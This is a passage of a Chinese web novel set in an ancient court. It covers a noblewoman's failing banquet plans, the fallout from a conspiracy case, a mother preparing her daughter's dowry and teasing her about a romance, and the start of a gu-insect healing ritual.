她就做不到这些,就是因为担心别人异样的目光,不想被同情、嘲笑,也不想承认自己的错误,一年又一年地坚持那段婚姻 直到现在 说是及时止损,但是和离后她失去侯夫人的身份,又失去了大半安身的嫁妆,亲爹也得顾着后面的弟弟妹妹,她出门在外,各方面待遇比起之前确实天壤之差 面对她的自嘲,宋锦也不是什么体贴人,得意道:“这不是废话吗?我肯定比你厉害” 杨彦珺苦笑:“你说的对” 和离后刚开始自然是好的,但是久了之后,各方面差距就出 来了 她一个人搬出家重新安置府邸,重新采买丫鬟小厮,重新准备物资,租借场地…… 杨彦珺苦笑:“对了,和你说一声,迎秋宴应该还要推迟段时间,后面也不一定能弄起来” 宋锦惊讶:“不至于吧?你就是和离了,也依旧是尚书之女,大不了一些人不来,总不能都不来吧?” 杨彦珺叹气:“场地不合适,都是些贵女,总不能随便找个宅子吧?那不如不弄” 都城好的庄子基本都是有主的,相比之下,常文山这个侯爷更有面子,她之前谈好的被截了,现在重新找重新布置也不知道得什么时候去了 采买东西更是麻烦,她以往谴人去就好,现在都得亲力亲为 哪哪都是麻烦事 程思懿虽然也帮忙,但是她并不是掌家人,上有公婆,下有妯娌,助力也有限,至于其他人 若她这个主办人连办宴会的能力都没有,等到明年,这迎秋宴的主家也得易主了,那她才是都城贵女中彻彻底底的笑话 宋锦不太了解这些弯弯绕绕,不过联想着请客,她就知道是个麻烦事 以前在林溪阵的时候,她娘一两年也会弄个宴会请林镇长他们这些‘德高望重’的人吃饭,一般也就三十个人,宋锦每次光看着就脑袋疼了 而迎秋宴随随便便上百人,其中麻烦事可先而知 宋锦摆了摆手,头疼道:“不弄就不弄吧,多省事啊,再说了,有那个半宴会的钱,直接捐了还省事些” 杨彦珺失笑 这么说也没错,但是,唉 “我记得,菡萏园并不在宣平侯名下”齐铮突然开口,“怎么会借不到?” 都城大部分人家举办宴会大部分是在家中,比如说婚嫁、诞辰、庆宴,但如果是个人的,像是诗会、活动,一般都会在外面的院子里 自家有自然最好,若没有,在外面租也是常事 毕竟不是所有官吏都是世家出生,像是寒门一类,家里就有些狭小,自己住着还行,招待人就不太妙了 这种时候,他们都会去租借其他院子 菡萏园便是其中女子最喜欢的地点,里面景色别致,人手摆件齐全,价钱也合适,是迎秋宴一贯的地点 杨彦珺想着就怒气上头,咬牙:“常文山那个贱人和园主串通,提前包了场地” 齐铮微微皱眉:“园主这般,不怕砸了招牌?” 杨彦珺压下怒意,低声:“那园子,早就在晋王名下了” 齐铮若有所思,突然道:“宋家在金铃山附近有个庄子,丝毫不逊色于菡萏园,你可以和宋锦租借” 宋锦惊,伸手指着自己:“我?” 齐铮点头:“在你名下” 宋锦更惊了:“什么时候的事?我怎么不知道?” 什她怎么一点印象都没有 齐铮无奈:“你怎么什么都不知道啊” 宋锦瞪眼:“你怎么什么都知道啊” 齐铮叹气:“你回去问问就知道了” 宋锦见他真不是说笑,困惑中还有些迷茫:“宋家人这么大方的?” 永安城的大庄子啊,她虽然不知道具体什么样,但是听着就知道肯定很贵,不然杨彦珺也不至于这么烦恼了 这么贵的玩意儿,就给她了? 宋家这几个兄弟真是钱多的没地花了,真当她是那什么宋商的 宋锦很是困惑,她看着同样意外的杨彦珺,想了想还是道:“我也不确定,我回去问问吧,没问题的话就按照市场价租给你” 杨彦珺迟疑:“可,可以吗?” 宋锦拍拍胸口:“必须可以,放我名下了我还不能安排?” 杨彦珺有些感动,她抿了抿唇,脸上一点点绽出笑容:“那就多谢了” 宋锦突然道:“这样的话,我可不可以不准备拍品?” 杨彦珺想也不想:“不可以,每个人都要准备” 宋锦给了个白眼:“再见,我去看其他店去了,你们自己玩” 杨彦珺抿嘴笑:“我也没事,和你一起去吧” 一旁的宁宁小花几个举手:“我,我我我们也去” …… 路也不是她修的,她们要跟着,宋锦也不能把人赶走 几个人就这样去其他店铺,情况基本都和酒铺差不多 这些铺子都是些小本生意,东西也不贵,不说有心之人,就是纯凑热闹的人也能买些,你一下我一下,东西都卖得差不多了 铁铺效果最好,除了进的货卖了,还有一堆订货的,不说远了,至少后面两个月都是忙碌状态了 小眉和阿茂负责算账写单子,小多依旧赤着上身,站在铁炉子面前乒乒乓乓,小耳,撩着袖子在一旁剁着肉馅,看着是要包饺子 宋锦抱着手,远远地看着他们四个,啧了一声:“算了,他们四个在,没什么好担心的” 齐铮站在身侧,也道:“他们很厉害” 几个乡下来的人,短短时间就适应了永安城的情况,不管是为人处事还是做事都有模有样,有都能吃苦有毅力,定然不会只局限于这里 宋锦感叹:“是啊,都大了,是时候可以离家了” 齐铮:“……他们应该比你大吧” 宋锦撇嘴:“你不懂” 几个人到她家的时候都是些小孩子,在活了两辈子的宋锦来看可不是就小孩子嘛,一个两个全都是她看着长大的 现在几个人都有模有样,要不了多久就能带着店铺走上正轨 真好啊 宋锦脸上扬起笑意,再转头,就看到说好跟着她的杨彦珺蹲在一旁,手上拿着手绢给宁宁和小花擦着嘴,眼神很是柔和,没有半点小姐架子 她歪头:“她这些天经常过来看几个孩子?” 齐铮跟着看过去,淡然:“不清楚” 宋锦挑眉:“你不是什么都知道吗?” 齐铮垂眸,黑漆漆的眸子看着她,定定:“那是你” 宋锦压住上扬的嘴角,哦了一声,又道:“你说她们是不是有些像?” 齐铮瞥了一眼三人,道:“杨夫人嫁入宣平侯府七年,头一年流产一子,第二年诞下大儿子,两年后溺水而亡,再后一年又诞下一女,因为疫病去世” 宋锦若有所思:“算着时间,也是三四岁的样子?你知道具体是在哪个月吗?” 齐铮:“庆安十六年,五月” 宋锦立马呵呵:“不是说不了解吗?” 齐铮淡定:“庆安十六年,都城大疫,死了不少人,英国公府的老国公也是因为疫病去世” 宋锦撇嘴:“你一天就学这些?” 齐铮:“好奇的话,下次上课,带你听听?” 说到读书,宋锦果断结束对话,再转头看向那边的一大两小,眼中闪过思索 这倒是巧了 不过都城巧合的是多了去了,上百万的人,没点具体线索真没法查 宋锦收回目光,又问:“你说,英国公府会如何?” 昨日衙堂之上,戴元宏当场反水后,宋慎之几兄弟就带兵前去英国公府抓人,最后找到了戴元宏说的仰武,他有漠北血统,很好查探,又搜寻之下,找到了候巧荷 至此,她这郡主杀人的案子破得干干净净 宋商的案子又重新拉了出来,顺着戴元宏提供的线索查下去,英国公府落网也就是早晚的事——凭空找凶手很难,但是已经知道凶手,再去查线索,在千万人行动下,确实不难 齐铮想到当初悬崖下碎掉的车马,还有淋淋的献血碎肉,眼神沉了沉 不管这件事宋商他们是否早有预料,但是他能活着不是英国公府手下留情,只是他厉害命大 齐铮沉声:“参与此事的人斩首,其他人,全部流放服役” 宋锦轻轻抿嘴,没有说话 齐铮低头看着她,额头光洁饱满,鼻梁高挺,脸颊红润,唇瓣嫣红又有些薄,整个人明艳浓烈,带着很强的攻击性 但是心很善良 她会帮助路边的乞儿,会帮着走不动道老翁老妪,会捐钱,会送 食物…… 其实心很软 齐铮垂着眼眸,突然开口:“我以前在北地层遇到过一老者,他热情好客,心地善良,会出钱资助周围没钱的人,会劝每个人都读书,免费让他们让学生门上学堂” 只是在想着斩首会不会太简单,没什么五马分尸之类的宋锦回神,疑惑:“挺好的,你也难得碰到大善人啊” 这人出的书里,那些个经历别说了,碰到的人和事一个比一个坑,难得竟然还有好心人咧 齐铮顿了一下,道:“听起来是这样的,后面,我发现他好心借出去的前会在短短一月两月翻上十倍,学堂是他开的,虽然不要钱,却会让背后家庭女子抵,热情好客是因为会迷晕路人售卖” 宋锦:“……” 她竟然一点儿也不意外 齐铮眼中也闪过无奈,他行走江湖多年,遇到过最顺利的事,其实就是和杨青山行镖的那一趟了,不过现在发现,那一趟他也被坑了几百两 这运气 他轻轻叹气:“按律令,他罪当斩首,我便把人送去衙门,没有多想,直到两年之后,我又在其他地方看到了他。他改头换面,以另一人身份活着,我几番打听,才发现,原来他的儿女靠着他这些年搜罗,一个考上举人捐钱当官,一个嫁入世家,他们出力把人救了出来” “这人手中人命无数,罪无可恕,但是在儿女眼中却是好爹好师长,他们自然不会眼睁睁看着人被处死,最后把人救了下来。我也不知他们到底知不知晓亲父犯下的罪,是否有参与,但是那些源自罪恶的家产最后被洗得干干净净,落入他们手中” “这种事,我见了无数。连坐一制,或许残酷,但是斩草不除根,亡人怨不熄” 宋锦听明白了,感情是担心自己心软啊 她哭笑不得:“你觉得我会心疼那些人?” 英国公府自然是有无辜的人,那也是那些普通奴仆,他们没有选择机会,一辈子凄惨,好日子没有他们,坏日子他们得陪葬,至于那些锦衣玉食,平日吃好喝好的人,有什么好心疼的? 就古代这个情况,依照现在的亲缘氏族关系,真就一人犯事一人当,那世家狂喜,他们能永远传承了 连坐虽然落后,虽会牵连无辜,但是很多时候,着实痛快 与其担心那些罪犯家属的好坏,她还不如多关心一下普通百姓的生存的衣食住行了 再说,古代最落后的,归根结底还是皇权了 宋锦脑子有限,想不了这么多,她甩了甩自己脑袋,感叹:“我就是在想,砍头会不会太简单?有没有五马分尸这种刺激的?我还没见过呢,还有那什么服役,具体的是劳役还是啥的?会充官妓军妓吗?这玩意儿我觉得男的也可以,他们皮糙耐糙,应该更唔唔” “唔唔唔唔” 更合适啊,有能干活又能干,多好啊 废物利用 齐铮深深闭眼,黑着脸捂住她的嘴,推着人往回走,声音沉沉:“中午了,快回去和夫人汇报店铺情况吧” 宋锦:“唔唔我不唔唔” …… 第93章 你不喜欢他? “来,说吧,有什么感想” 院子里,宋锦歪着脑袋搭着腿,松松垮垮地站在地上 对面的牛铁兰坐在桌子边,右边放着一个不大不小的木箱子,里面放着各种材质的画卷,羊皮、布料、纸张…… 也不知道写了些什么 她左手扶着账本,右手持着毛笔,沾了沾墨,在纸上轻轻画了几痕,便放下笔触,等待墨渍干涸 宋锦探着脑袋浅浅看了一眼,都是些什么房子出差摆件之类的,也不知道她娘写这些干什么 面对牛铁兰的提问,她轻轻咳嗽了几声,理了理嗓子,一本正经地说道:“咱家这生意啊,好得很,以后肯定赚钱” 牛铁兰手一顿,拿起手里的毛笔就砸了过来 宋锦脑袋一挪,啪一下沾了半边脸的墨渍,她呲着牙,手一碰,一手的黑墨,她幽怨:“娘你干什么呢?这墨水多难洗啊” 牛铁兰淡淡:“你说得对,所以一会儿你自己洗衣服” 宋锦:“……就一点点印子,其实也没那么难” 牛铁兰轻嗤一声,摇了摇头 由奢入简难 她闺女以前在镇上偶尔也会洗个衣服,到了宋府之后,别说是洗衣服了,就是袜子都没碰一个 每日的各种衣服珠钗全都是最顶级的料子,每一样都是熨好理好,端到面前任由挑选,根本用不着她废上什么心思 过惯了这般好日子,又有谁会觉得日前的日子好呢? 牛铁兰低低叹气,问:“铺子都看完了吧?真没什么想说的?” 宋锦晃悠着走到她的身后,捏着她的肩膀,嬉皮笑脸:“有什么好说的?铺子好好的,人也好好的,想那么多干什么?这日子吧,过一天就是一天,想太多了,会变老的,娘” 牛铁兰没好气地拍拍她的手:“怎么,你娘我老了?” 宋锦继续嘻嘻哈哈:“那不能,我娘亲貌美如花,青春永驻,哪儿会老啊” 牛铁兰烦她:“一天天没个正形的,一点儿都不让人放心” 宋锦动作一顿,敛着眸子,笑:“那你就好好看着呗,都说儿女是债,娘你还想中途逃债不撑?” 牛铁兰没有说话,她看着桌上干涸的墨迹,拍了拍旁边的位置,示意人过来坐好,然后缓着声音说道 “这些,是你日后的嫁妆胆子” 宋锦抿着嘴:“我不嫁人” 牛铁兰没理会她,开始一册册地给她理了起来:“这个是我们在林溪镇的东西,家里的庄子、田地、茶园、桑园还有一些细碎的小首饰和衣服料子,看着不起来,但是零零散散加起来也能换个两三万两” “林溪镇地势好,林镇长人也厚道,我们在那儿过了这么多年,镇上县上都熟悉,后山又是黄黄的地盘,日后真有个什么,重新回去也能起来。这永安城的水再深,他手也伸不到那儿去” 宋锦没有说话 牛铁兰继续:“林溪镇这边的我们都备了案,你自己都很熟,周围人都能作证,东西丢了也就丢了,回去补办就行。这边箱子里的东西,就得全部收好,总共十八卷单子,羊皮卷六卷,蚕丝卷十二卷,田地、山地、庄子、首饰、家具皮箱、金银……” 所有的东西都是分类记在卷上,一笔一划全都是牛铁兰娟秀字迹 这种单子上不能有一点错误,写下来很耗费精力 宋锦说不清具体价值,但是大致算一下,白银黄金换算下来都有三五十了,全部加起来绝对不低于百万 她一把按住手上的蚕丝卷子,面色严肃起来:“娘你什么意思,这就托孤了?” 牛铁兰眼眸微颤,轻声:“有备无患” 宋锦恼怒:“不需要这个备,不就是练个蛊吗?你都养了十来年了,还怕这小玩意儿?” 牛铁兰叹气,伸手抚摸着宋锦的脑袋,杏眸眼神一点点柔和下去,轻声:“看到这么多东西,就只想到这点啊” 宋锦恼怒:“不然呢?你都不想要我了,我还要想什么?” 牛铁兰摸摸她的脑门,然后重重一巴掌 宋锦哎哟一声,捂住脑袋,控诉地看着自家娘亲:“你不要我了,你还打我?” 牛铁兰幽幽:“不止想打你,还想把你的猪脑子掏出来用水洗一洗” 那么多的东西,这死孩子就不问问哪里来的? 宋锦捂住自己脑袋,瞪大眼睛:“我那么圆的脑袋,掏扁了怎么办” 牛铁兰被她逗乐,伸手摸着她的后脑勺:“我看看有多圆” 宋锦得意:“球一样” 牛铁兰好笑地拍拍她的圆脑壳,宋锦也就势倒在了她的怀里,母女俩之间刚才的紧张气氛消失无踪,就这么静静地亲昵着 好一会儿 宋锦搂着牛铁兰的腰,声音轻轻,却又斩钉截铁 :“娘,你明天肯定会成功的” 牛铁兰轻轻嗯了一声,脸上依旧是藏不住的怅然 明天是成功了,后日呢?还有以后 这练蛊之事,短则半年,长则一年 牛铁兰不敢保证自己一定能坚持下去,只能尽可能先为宋锦安排好以后 这些嫁妆,就是她这段时间一点点整理出来的,大部分都是宋府的库存 若是以往,她不知曲茂泽是宋商,这些东西她自然是不能要的,便是以前的,甚至一些花销,她都是记了账的 现在知道宋锦是宋商正儿八经的亲女儿,这偌大的家产有她一份,那该她的自然不能少 牛铁兰这几日就在整理这些东西 趁着她还在,趁着曲茂泽也在,把这些东西都拉扯清楚 她才不在意那人口中的无情呢 她若是不无情一些,也不能活到现在 …… 单子太多了 母女俩说着说着就到了晚饭时候 往日这个时候,宋行之兄弟几个基本都会回来和母女俩一起吃晚饭 但是今日应该是不会了 侯巧荷被找到,英国公府参与袭击宋商一事板上钉钉 现在就待审问其他同伙了 宋家兄弟们作为自然不会光看着,几个人从昨日就没回来过,应在彻夜审问,想要尽快审出这件事 英国公府的老太君、国公、国公夫人、世子…… 这些个关键人物,定然是少不了干系的 他们早一点审查出来,才能早一步找那剩下之人,免得他们想办法离开 宋府此刻很是安静,母女俩也不急着吃饭,就坐在那儿静静看着清单 直到小眉和小耳回来 “夫人小姐,我们回来了” “夫人小姐,快快快,我一定要和你们说说” 小眉穿着浅青色竹叶纹的衣服缓步走在后面,一颦一笑,带着端庄沉稳 小耳蹦蹦跳跳,像是飞舞的小蝴蝶,一股子活泼劲 但是仔细看就会发现,她跳动步伐的距离相似,肩背直直,活泼又不过于跳动 小耳小步跑到跟前,圆脸蛋红红,像是苹果一般,一双眼发着光 “昨天咱们不是还说,这不关城门,那些人不听着风声就跑了吗?” 宋锦入狱那么久,昨日刚出狱,几个人就跟那开了闸的水似的,一个接一个话停不下来,一群人说到了大半夜 其中一个话题就是关于英国公府被抓之后,那些参与的人会不会趁机逃跑 毕竟,英国公府作为主谋被抓,身后那些个刺萌还能藏得住? 只不过时间长短的问题 看了一下午清单,脑袋都快看晕乎了点宋锦立马来了精神,她起身就跑回一边拎了凳子过来,又赶紧倒上两杯果茶递过去 “快说快说,城门怎么个情况?” 小耳大口喝了一杯茶,亮着双眼:“抓人了,从城门外抓的人,拉了好个囚车回来,那些人大包小包的,那些个珠宝” “哇,挂了一车子,可以买一百个,不对,一千个万个我了……” 乡下丫头不贵,小耳还少了小半边耳朵,那会儿瘦瘦小小,宋锦买人也就花了八两银子 甚至比不上很多大户人家一顿饭的吃用 宋锦拍拍小耳的脑袋,凑过去:“那不就是三千个小眉?” 小眉标志沉稳,小小年纪就看得出是美人胚子,身价是小耳的三倍咧 “我看不止,光是那些金条,都得有个千两” 小眉不急不慢地走过来,手绢轻点额上汗水,小口抿茶,很是感叹,“我还是头一次见这么多金子,底下的百姓也眼睛都绿了,若不是运送囚车的人不少,指不定都有人被财宝冲昏头脑冲上去抢了” 刚才轻点了百万家财的宋锦不淡定了:“这么多?” 是现在的钱太好赚了,还是永安城的人太富了啊 怎么银子都要以十万为计量单位了? 小眉感叹:“就是这么多啊,谁想得到呢” 宋锦嚼果干;“可知道是哪家的?” 小眉仔细回想:“具体有哪些还真不清楚,但是大致听了下,有户部尚书家的主母幼子、刑部侍郎家,还有皇城司校尉,各个都是都城说得上名号的,我都是听老百姓们说的” 这年头大部分百姓畏惧官吏,但是永远不差那些大胆的,尤其是在皇城脚下,当今皇上宽厚,官吏也不敢过于放肆 好些百姓就喜欢凑这个热闹,也见过人,你一句我一句的,就算那些做了伪装的人的来历给抖了出来 小耳在一旁低声:“现在永安城门封了,宵禁时间也提前了,到处都是士兵,那气势一看就不是普通的兵” 宋锦也跟着压声音:“那应该是皇上的亲卫那些?我上次看,他们确实有点东西” 小耳哈着声音:“应该是” …… 两个人说着说着就鬼鬼祟祟了起来,也不知道在这么大个地方,还担心谁会偷听告状似的 牛铁兰叹气 她这闺女就是这样,该低调时候不低调,可以张扬的时候,跟做贼似的,让人想想都很操心 眼看着她们说着说着就朝着那些个囚犯的穿着打扮,还有背后的八卦去了 牛铁兰嘴角一抽,打断她们:“户部尚书,我记得是三皇子的岳丈?” 宋锦赶紧补充:“副的副的,他闺女是侧妃来着” 牛铁兰:“正妃是?” 这些之前郑女官上课时候都说了的,宋锦想了想,道:“好像是国子监的学监嫡女,据说长得花容月貌,是三皇子醉后冒犯了人,皇上赐的婚” 一般来说,成婚是成两家之事,看的是家事是父亲的官职爵位,少看嫡庶 所以便是学监之女是嫡女,当时三皇子还不愿意,想纳人为侧妃来着,但是皇上直接赐婚,他不得不服 倒是让本来私下商谈的户部尚书的庶女成了侧妃 现在户部尚书出错了 宋锦感叹:“三皇子定然开心了,皇上慧眼如炬啊,还好当初不是正妃” 牛铁兰被茶水呛住,盈盈的眼眸斜了过来,里面杀气腾腾 宋锦讪讪改口:“就这么一说嘛” 她又不是傻的,哪里不知道管他正侧侧妃还是小妾通房,三皇子现在肯定焦头烂额了 这事他若没参加倒还好,若是参加了 宋锦啧啧:“英国公府拉二皇子,户部尚书拉三皇子,这两不是直接凉凉了吗?齐铮这坐在家里就躺赢啊” 这叫啥? 福来运转? 他这么多年闯荡江湖的霉运,换来了现在的好气运? 宋锦搓手:“我以后还是对他客气点吧” 免得人以后给她穿小鞋 牛铁兰看着她眉飞色舞的模样,轻轻叹气:“局势已定,最迟元月,陛下定然立太子了” 齐晔从来没掩饰过对于齐晔的偏爱 只不过之前的话,齐铮到底学识差了不少,直接立太子,倒也不是不能,但这样势必迎来很多逆反 齐铮做了太子也会被各种挑刺,长久以来,于社稷于他不好 现在借着宋商一事,二皇子三皇子自身难保,直接失去竞争力 大皇子,平平无奇,也掀不起风浪 更重要的事,一堆旧人下去,又是新人上来,朝堂之前的局势破开 那些新人也不会不识趣到刚上位就和皇上对着干 而齐铮本人为人端正行善,见多识广 一日日下去,温水煮青蛙 他的太子之位稳而又稳 牛铁兰想到第一次见面时候,那个在雨中沉默倔强的小孩子,又忆起他在林溪镇时候中正冷肃的模样,伸手摸了摸宋锦的眉眼,轻声 “到时候定然会提起他的婚事” 齐晔膝下就这么一个孩子,若太子一立,其他人不管是出于江山社稷,还是出于个人利益 选妃一事定然会紧跟其后 宋锦听着一愣,又撇嘴:“选他的呗,反正早晚都是三宫六妃,万千佳丽,早娶早享受” 牛铁兰轻声:“那你怎么办?” 宋锦瞪眼:“关我什么事啊” 牛铁兰摸着自家闺女的眉头,才十五岁的小少女,其实早就已经长大成人,脸上没几分稚意 她比想象的强大,也比那更倔 牛铁兰这辈子没什么选择的机会,一路都在不停的错过,她不希望自己的孩子也因为各种缘由错过 缘分一事,失之毫厘差之千里 就像她,当日又怎会想到,那想象中的生死之别,到最后只是平白错过的十六年? 说不好是该高兴还是悲伤 牛铁兰眼中划过怅然,再看着自家闺女生动的眉眼,轻笑:“你不喜欢他?” 宋锦眼睛瞪得大大的,溜溜的眼珠子就跟那黑宝石一般,黑得纯澈干净 她一巴掌重重拍在小桌子上,咔的一声,桌子分裂开来,上面的瓜果也随之散了一地 她惊:“我怎么会喜欢他?” 牛铁兰没有说话,眼中含着笑就这么静静地看着她 旁边的小眉和小耳目光微闪,也没说话,跟着打量着她 牛铁兰说的可是不喜欢咧 她怎么就下意识说喜欢了? 宋锦汹汹的气势一点点散去,随后肩膀一垮,一屁股坐在地上,也不嫌脏,捡起果干就往嘴里塞,没一会儿就塞了一嘴 她鼓着嘴咀嚼着,皱起鼻子:“也就,就一点点嘛” 牛铁兰轻笑出声,捏捏她的脸颊:“一点点也是喜欢,怎么,没一点想法?你可是大姑娘了,娘不拦着你找对象” 宋锦撇嘴:“不合适” 牛铁温柔地看着她,像是看着自己最大的宝珠:“哪里不合适?我闺女贵为郡主,武艺高强,行侠仗义,家产百万,哪里差了?” 宋锦差点被果干呛住,她拿起一边的茶水壶往嘴里灌水,可算将其咽了下去 她一言难尽地看着她娘:“娘您这就是王婆卖瓜了,都说了他日后就是太子了,你看我合适?我可受不了那些弯弯绕绕,更别说他以后肯定还有其他人,我可受不了这个委屈,到时候半夜弑君,多不好啊” 牛铁兰眼神轻柔:“还记得他上次说的吗?他寻一人就够了” 宋锦撇嘴:“好听话谁都会说,您想想这可能吗?” 牛铁兰轻抚宋锦额头:“哪儿不可能?金金,看一个人,就要看他的人,他若真是贪色之辈,凭借着外貌武艺,在外红颜知己定然,就是回来都城这半年,后院也该有人” 宋锦嘟囔:“以前是以前,以后是以后” 牛铁兰笑:“你什么时候在乎以后了?” 便是以后有变,难道就为了想象中的未来而放弃现在的欢喜? 小耳听了半晌,也找着机会插了进来,嬉笑:“就是就是,小姐,你什么时候想那么多了?以前不都是,我管什么以后不以后,老娘开心就好!” 小眉也抿嘴笑:“小姐不是最喜欢及时行乐吗?开心留给现在的自己,后悔让以后的你来” 牛铁兰笑:“小眉小耳说得对,我也记得我闺女以前天不怕地不怕,还经常说去抢个上门女婿回来,现在这是怎么了?” 小眉接话:“小姐在意才犹豫” 小耳捂嘴嘿嘿:“小姐在意哟” …… 三个人在这里一唱一和的,宋锦一张脸都给挤兑得红了起来,瞪着大眼,恼道:“好啊,你们约好的是吧?一个个,齐铮给了你们什么好处?” 小耳声音清脆,像小铃铛一般叮铃铃:“岐王好啊,我上次出去看到有纨绔调戏一美女子,他停下来帮人,但是也不多看一眼,清正得很” 小眉也赞:“我那日见一老翁摔到惊了车架,他也不恼,反而让人将他送去医馆,岐王心善” 宋锦听着,嘴角忍不住扬起,又努力压下,轻哼:“这有什么?我也这样啊” 牛铁兰看着她这模样,轻轻笑道:“我儿也善,你们俩在一起,也善” 宋锦鼓了鼓嘴,侧过去抱住牛铁兰的腰,埋着脑袋蹭了蹭,有些不好意思 “娘真觉得他可以?” 牛铁兰眼神似水:“我闺女喜欢,那就可以” 至于错不错,变不变 没人会一辈子不变,但是从小塑造在骨子里的正和爱,永远不会 困于宫墙的龙会对外面好奇,而从外面游回的龙,只会守护自己想要的 牛铁兰垂下头,看着自家闺女脑袋上与众不同的发髻,了然一笑,轻轻抚着她的后背 好一会儿,宋锦才压下那些不好意思,起身坐好,拉着牛铁兰的手,眉飞色舞 “娘说的一向都对,我听娘的,娘到时候一定替我梳发送嫁,到时候我们三年抱俩,给你生小孙女小孙子玩……” 牛铁兰看着宋锦眉飞色舞的模样,想起她小时候的奶包子样 她日后若有孩子,定然也和她一般,吵得房子都要震破 牛铁兰嘴角一点点扬了起来,轻声:“好啊,娘到时候给他们取名” 宋锦的笑容僵住,想到自己的原名,她打着哈哈:“这个,这个也不急嘛,还早着呢,我们到时候看呗” 牛铁兰眼睛一点点眯起,微微一笑:“什么意思?嫌弃你老娘?” 宋锦打着哈哈,挪动着屁股往后,随后一个蹦起,躲开拍过来的巴掌,跑了起来 “娘你心里也要有点数啊” 牛铁兰撩着袖子起身追上,咬着牙:“有数,什么有数?给老娘站住,竟敢嫌弃你娘,小白眼狼也不想想你娘我一把屎一把尿” 宋锦吐槽:“有奶娘丫鬟,娘你这些年饭都没煮过一顿,咱就不说这些了” 牛铁兰一梗,一字一字:“宋、金、金” …… 母女俩就绕着院子打闹了起来,嬉笑声萦绕在院子之中,轻松快活,打破了原本的沉重压抑 曲茂泽靠在外面的墙上,脸色苍白,唇色暗淡,身上是藏不住的血腥气 他听着墙后的欢笑声,看着天边的晚霞,声音轻轻 “明日定是好天气” 第94章 不是我也怕 “真不让她进来?” 正午时分,赤红的太阳高悬顶上,赶在冬日之前,散尽最后的余温 今天的太阳难得灼热,光线也格外明亮,照在地上,明亮炙热 不少人又褪去前些日子加上的厚衣 在这种情况下,宋府最里的院子中,从里到外被围了层层叠叠,确保一个也苍蝇也飞不进去 院子里面,宋锦焦灼地在外面绕了一圈,蹲身坐在一旁的地上,一张脸皱巴巴,紧紧盯着前面的房间 本来四面通风的敞亮房间,此刻门窗紧闭,外面还贴着一层又一层的黑布油布,从里到外裹得严严实实,一丝光亮也照不进去 看起来跟新型地牢似的 宋锦转头,看向旁边同样蹲着玩虫子的老头 虫老捏着虫子的尾巴,上面渗出一颗石头般的小块,他用手指粘去,然后入嘴,砸吧砸吧嘴巴 “真甜,要不要来一只?” 宋锦嫌弃:“不要” 虫老哦了一声,也不介意,继续换了一只虫压尾巴 这虫前肢纤细,后肢也就是尾巴地方则有三倍大,有点像小蝎子,颜色偏绿,看着倒是不恶心 那尾巴顺着轻轻按压,就又出来小石头一般的小块 虫老就跟小孩子似的,眼睛立马亮了起来,喜滋滋正要伸手去沾 宋锦抢先一步,纤长白皙地手指捏着那不明小块,往嘴里一塞 并没有诡异的味道,甜甜的,有种蜂蜜的香甜,却更清香几分 宋锦忍不住咂了咂嘴 虫老得意:“怎么样?甜甜虫好吃吧?我们蛊族的小娃娃都喜欢这个,这玩意儿命大好养活,一天就出一颗,一只虫好好养能养一个月,家家户户都要养几只” 宋锦砸着嘴,刚被甜意压下的心又一点点提起,她蔫着脑袋 “那我娘以后,时不时只能吃虫子了?” 虫老嘴角一抽:“你才只吃虫子呢,虫子也要吃菜叶子吃肉啊,它们吃什么我们吃什么。真说起来,我们吃的可比你们丰富” 宋锦悬着的心落下,庆幸:“还好还好,我还以为我娘以后只能吃虫子了” 那她只有舍命陪娘亲了 那玩意儿虽然她上辈子也没少吃,但是也不能当顿啊 虫老给了她一个白眼,捏住一旁的蚂蚁,说道:“我们蛊族只是封闭,不是野人” 宋锦没说话了,跟着捏起旁边的小虫子,再看着封闭的房门,神情忧虑,好一会儿开口 “要不你还是进去吧” 虫老无语:“那小子在,我进去干什么?又不是什么大事情,你放心,月光虫很温顺,问题不大” 真连这玩意儿都熬不过去,那小子这段时间的心血才是白白消耗,纯浪费 宋锦抿着唇,看向房门的神色依旧忧虑 虫老跟着看去,好一会儿:“喂,小丫头,你知道的对吧?” 宋锦眼睛都不眨一下:“知道什么?我什么都不知道,我娘没和我说” 蛊虫、名字、伤势、大额财产 并不难猜 她只是,想听她娘好了以后和她说 宋锦圈着膝盖,抵着下巴,等着里面的人出来 …… 紧闭的房门间,窗户缝隙全贴懵上了黑布料,无一丝光线照入,整个房间黑暗无光,站在其中伸手不见五指 对于普通人是这样的 牛铁兰以前也是普通人,站在这种环境下只会恐慌,但是现在,她站在黑夜之中,能清楚看清房间里的一切 晃动的黑布,诡异的花束,爬行的蠕虫 所有的一切,最后都诡异地聚在最中间的浴桶之间 那浴桶立于中间,边缘扣着六个两指大的黑虫,点燃后亮着黑色焰火,飘着黑色烟雾,带着诡异地味道,一点点充斥在整个房间里 浴桶里面黑水沸腾,宛如烧开的墨水一般,仔细看,那里面飘着一具具大小虫尸,汇聚在一起,让人看着都不禁胆寒 曲茂泽走到浴桶前,伸手探入沸腾的水中,看着滚烫,其实温度并不高 他嘴角噙着笑,冲着她招了招手:“过来试试?” 牛铁兰微微咬唇,心里很是抗拒,但又别无选择,只能小步走了过来,磨磨蹭蹭的,一看就不情愿 曲茂泽眼中笑意浓烈,不等她开口,拉住她的手就往水里一按 牛铁兰下意识发出一声惊喝,想要抽手出来 曲茂泽按住她,挑着眉:“烫?” 牛铁兰这才缓过神来,那黑水是有些烫,但是距离沸腾还远得很,她松了口气,嗔怒:“能不能说一声?” 曲茂泽轻笑:“这不是担心你害怕?” 牛铁兰瞪人 直接抓进去才更吓人好吗 她还以为这人练就什么不坏之身呢,都不怕开水 还好,还好 牛铁兰这段时间经常吃的拿药味道已经足够诡异,对比起来,浴桶里的水味道也不那么煎熬了 她张开手指轻轻晃动,感受着那黑水,粘稠丝滑,有种晃于面粉之中的触感,很是诡异 手放在里面,乍一开始有些烫,后面有有些凉,久了又有些刺痛 牛铁兰谨慎中,又有些好奇了起来 曲茂泽看着她变化的神色,轻声:“若是在蛊族,应该是一整个浴池的药水,现在虫药难寻,只能委屈你了用这些了” 他神情有些遗憾,若不是材料难得,他其实都想一同下去 牛铁兰看着能轻易挤下三人的浴桶,没看出委屈在哪儿了,真要是浴池一般的大小,她才怕自己淹死咧 她侧眸:“直接泡吗?” 曲茂泽摇了摇头,落在水里的大手从她手腕上一路往前,最后十指紧紧扣住,就这么按在看不见地的黑水间 他轻声:“等到桶上明虫燃完,虫水彻底融合,才可以下水,你要做好心理准备” 牛铁兰抿着嘴,感受着手间力道,到底没有多做挣扎,垂眸:“很疼吗?” 曲茂泽轻声:“噬骨之痛” 牛铁兰没有说话,手指微动,感受着手间的刺痛 